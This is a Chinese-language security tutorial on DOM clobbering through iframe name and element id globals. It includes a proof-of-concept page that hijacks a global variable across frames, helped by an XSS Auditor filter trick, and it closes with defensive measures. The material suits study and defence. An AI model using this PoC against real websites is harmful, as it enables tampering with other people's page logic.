前端中存在的变量劫持漏洞
字数 1015 2025-08-26 22:11:51
前端变量劫持漏洞分析与利用
0x00 基础知识:iframe窗口对象访问
在页面存在iframe时,父子页面可以相互获取对方的window对象:
父页面访问子页面
document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0]; // window[0]是子页面的window对象
子页面访问父页面
window.parent; // 获取上一级的window对象
window.top; // 获取最顶级容器的window对象
同源策略限制
- 同源情况下:可以获取任何内容(document、name、location等)
- 非同源情况下:
frames:可读但不可写(可读取不同域子页面中iframe的window对象)location:可写但不可读(父子可以相互修改彼此的location)
0x01 跨层级location修改
利用frames和location特性,可以实现跨层级location修改:
<!-- 父页面 localhost:80/index.html -->
<iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
<script>
function loaded(x) {
x.contentWindow.frames[0].location = "http://www.baidu.com/";
}
</script>
<!-- 子页面 localhost:8888/view.html -->
<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>
0x02 ID属性与全局变量
浏览器特性:
- 所有全局变量都存储在window对象中
- 具有id属性的DOM对象也会作为全局变量存储在window中
<h1 id="test"></h1>
在控制台:
test; // 返回<h1 id="test"></h1>
window.test; // 同上
ID覆盖测试
- 无法覆盖已定义的变量
- 可以定义新的变量
<h1>test</h1>
<h2>test2</h2>
<script>
test = "ddd";
document.getElementsByTagName("h1")[0].setAttribute('id', "test");
document.getElementsByTagName("h2")[0].setAttribute('id', "test2");
</script>
重复ID情况
<h1 id="test"></h1>
<h2 id="test"></h2>
控制台:
test; // 返回包含两个元素的HTMLCollection
0x03 iframe的name属性
iframe的name属性也会注册为全局变量:
<iframe name="viewer" src="./view.html"></iframe>
控制台:
viewer; // 返回iframe的window对象
重复name情况
<iframe name="test" src="http://B.com/B.html"></iframe>
<iframe name="test" src="http://C.com/C.html"></iframe>
控制台:
test; // 只返回第一个iframe的window对象
0x04 name与ID优先级
无论顺序如何,name的优先级高于id:
<!-- 情况1 -->
<iframe name="test" src="http://B.com/B.html"></iframe>
<h1 id="test"></h1>
<!-- 情况2 -->
<h1 id="test"></h1>
<iframe name="test" src="http://B.com/B.html"></iframe>
控制台:
test; // 始终返回iframe的window对象
0x05 漏洞利用场景
场景描述
- A.com/A.html 加载 B.com/B.html
- B.com/B.html 加载 C.com/C.html
- B.html存在未定义的全局变量
<!-- A.com/A.html -->
<iframe src="http://B.com/B.html"></iframe>
<!-- B.com/B.html -->
<iframe src="http://C.com/C.html"></iframe>
<h1 onclick="test()">click me</h1>
<script>
VUL = "Hijack me";
</script>
<script>
function test(){
console.log(VUL);
}
</script>
利用POC
<script>
function loaded(x){
x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为同源
setTimeout(function(){
x.contentWindow.frames[0].name = "VUL"; // 劫持全局变量
}, 1000);
}
</script>
<iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>
利用条件
- 利用Chrome 74+的XSS Auditor filter模式移除VUL定义
- 通过修改iframe的name属性劫持全局变量
0x06 防御措施
- 为iframe添加sandbox属性限制权限
- 避免在全局作用域定义敏感变量
- 使用严格模式("use strict")防止意外创建全局变量
- 对用户输入进行严格过滤
- 使用CSP(Content Security Policy)限制资源加载
0x07 总结
该漏洞利用了几个关键点:
- iframe的跨域特性(frames可读、location可写)
- DOM元素的id和iframe的name会注册为全局变量
- name属性优先级高于id
- 通过修改iframe的name属性可以劫持未定义的全局变量
- 结合Chrome XSS Auditor的filter模式移除变量定义
虽然利用面有限,但在特定场景下可能造成安全问题,开发者应当了解这些特性并采取适当防护措施。